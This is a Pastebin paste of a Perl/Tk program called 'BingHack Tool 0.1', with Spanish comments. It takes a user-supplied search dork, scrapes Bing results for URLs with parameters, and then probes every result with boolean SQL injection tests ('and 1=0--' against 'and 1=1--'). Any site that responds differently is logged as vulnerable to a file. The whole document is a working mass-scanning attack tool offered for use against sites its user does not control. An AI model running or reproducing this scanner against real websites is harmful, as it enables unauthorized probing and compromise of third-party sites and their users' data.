yosoysupercholo

BingHack Tool

May 26th, 2012
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 4.79 KB | None | 0 0
  1. #!usr/bin/perl
  2. #BingHack Tool 0.1
  3. #Version Tk de un script en Perl para buscar paginas vulnerables a SQLi usando Bing
  4. #Version Tk
  5. #Coded By Doddy H
  6.  
  7. use Tk;
  8. use LWP::UserAgent;
  9.  
  10. my $nave = LWP::UserAgent->new;
  11. $nave->agent(
  12. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  13. );
  14. $nave->timeout(5);
  15.  
  16. my $color_fondo = "black";
  17. my $color_texto = "green";
  18.  
  19. if ( $^O eq 'MSWin32' ) {
  20.     use Win32::Console;
  21.     Win32::Console::Free();
  22. }
  23.  
  24. my $hj =
  25.   MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  26. $hj->geometry("600x285+20+20");
  27. $hj->resizable( 0, 0 );
  28. $hj->title("BingHack Tool 0.1");
  29.  
  30. $hj->Label(
  31.     -text      => "Dork : ",
  32.     -font      => "Impact1",
  33.     -background => $color_fondo,
  34.     -foreground => $color_texto
  35. )->place( -x => 18, -y => 22 );
  36. my $dork = $hj->Entry(
  37.     -width      => 30,
  38.     -background => $color_fondo,
  39.     -foreground => $color_texto
  40. )->place( -x => 68, -y => 26 );
  41.  
  42. $hj->Label(
  43.     -text      => "Pages : ",
  44.     -font      => "Impact1",
  45.     -background => $color_fondo,
  46.     -foreground => $color_texto
  47. )->place( -x => 270, -y => 22 );
  48. my $pages = $hj->Entry(
  49.     -width      => 10,
  50.     -background => $color_fondo,
  51.     -foreground => $color_texto
  52. )->place( -x => 335, -y => 26 );
  53.  
  54. $hj->Button(
  55.     -text            => "Search",
  56.     -width            => 10,
  57.     -background      => $color_fondo,
  58.     -foreground      => $color_texto,
  59.     -activebackground => $color_texto,
  60.     -command          => \&search
  61. )->place( -x => 420, -y => 26 );
  62. $hj->Button(
  63.     -text            => "Logs",
  64.     -width            => 10,
  65.     -background      => $color_fondo,
  66.     -foreground      => $color_texto,
  67.     -activebackground => $color_texto,
  68.     -command          => \&logs
  69. )->place( -x => 495, -y => 26 );
  70.  
  71. $hj->Label(
  72.     -text      => "Links Found",
  73.     -font      => "Impact",
  74.     -background => $color_fondo,
  75.     -foreground => $color_texto
  76. )->place( -x => 110, -y => 80 );
  77. my $links = $hj->Listbox(
  78.     -width      => 40,
  79.     -height    => 10,
  80.     -background => $color_fondo,
  81.     -foreground => $color_texto
  82. )->place( -x => 30, -y => 120 );
  83.  
  84. $hj->Label(
  85.     -text      => "SQLi Found",
  86.     -font      => "Impact",
  87.     -background => $color_fondo,
  88.     -foreground => $color_texto
  89. )->place( -x => 390, -y => 80 );
  90. my $founds = $hj->Listbox(
  91.     -width      => 40,
  92.     -height    => 10,
  93.     -background => $color_fondo,
  94.     -foreground => $color_texto
  95. )->place( -x => 310, -y => 120 );
  96.  
  97. MainLoop;
  98.  
  99. sub search {
  100.  
  101.     $links->delete( "0.0", "end" );
  102.     $founds->delete( "0.0", "end" );
  103.  
  104.     $hj->update;
  105.     $hj->title("BingHack Tool 0.1 [+] Status : Searching");
  106.     my @urls = bing( $dork->get, $pages->get );
  107.     $hj->update;
  108.  
  109.     for (@urls) {
  110.         $hj->update;
  111.         $links->insert( "end", $_ );
  112.     }
  113.  
  114.     $hj->title("BingHack Tool 0.1 [+] Status : Scanning");
  115.  
  116.     for my $pa (@urls) {
  117.         $hj->update;
  118.         sql($pa);
  119.     }
  120.     $hj->update;
  121.     $hj->title("BingHack Tool 0.1");
  122. }
  123.  
  124. sub logs {
  125.  
  126.     my $file = "sql-logs.txt";
  127.  
  128.     if ( -f $file ) {
  129.         system($file);
  130.     }
  131.     else {
  132.         $hj->Dialog(
  133.             -title            => "Error",
  134.             -buttons          => ["OK"],
  135.             -text            => "Logs not found",
  136.             -background      => $color_fondo,
  137.             -foreground      => $color_text,
  138.             -activebackground => $color_text
  139.         )->Show();
  140.     }
  141. }
  142.  
  143. sub sql {
  144.     my ( $pass1, $pass2 ) = ( "+", "--" );
  145.     my $page = shift;
  146.  
  147.     my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
  148.     my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );
  149.  
  150.     unless ( $testar1 eq $testar2 ) {
  151.         $founds->insert( "end", $page );
  152.         savefile( "sql-logs.txt", $page );
  153.     }
  154. }
  155.  
  156. sub savefile {
  157.     open( SAVE, ">>" . $_[0] );
  158.     print SAVE $_[1] . "\n";
  159.     close SAVE;
  160. }
  161.  
  162. sub bing {
  163.  
  164.     my ( $a, $b ) = @_;
  165.     for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
  166.         $hj->update;
  167.         my $code =
  168.           toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );
  169.  
  170.         while ( $code =~ /<h3><a href="(.*?)"/mig ) {
  171.             push( @founds, $1 );
  172.         }
  173.     }
  174.     my @founds = repes( cortar(@founds) );
  175.     return @founds;
  176. }
  177.  
  178. sub repes {
  179.     my @limpio;
  180.     foreach $test (@_) {
  181.         push @limpio, $test unless $repe{$test}++;
  182.     }
  183.     return @limpio;
  184. }
  185.  
  186. sub cortar {
  187.     my @nuevo;
  188.     for (@_) {
  189.         if ( $_ =~ /=/ ) {
  190.             @tengo = split( "=", $_ );
  191.             push( @nuevo, @tengo[0] . "=" );
  192.         }
  193.         else {
  194.             push( @nuevo, $_ );
  195.         }
  196.     }
  197.     return @nuevo;
  198. }
  199.  
  200. sub toma {
  201.     return $nave->get( $_[0] )->content;
  202. }
  203.  
  204. #The End ?
Advertisement
Add Comment
Please, Sign In to add comment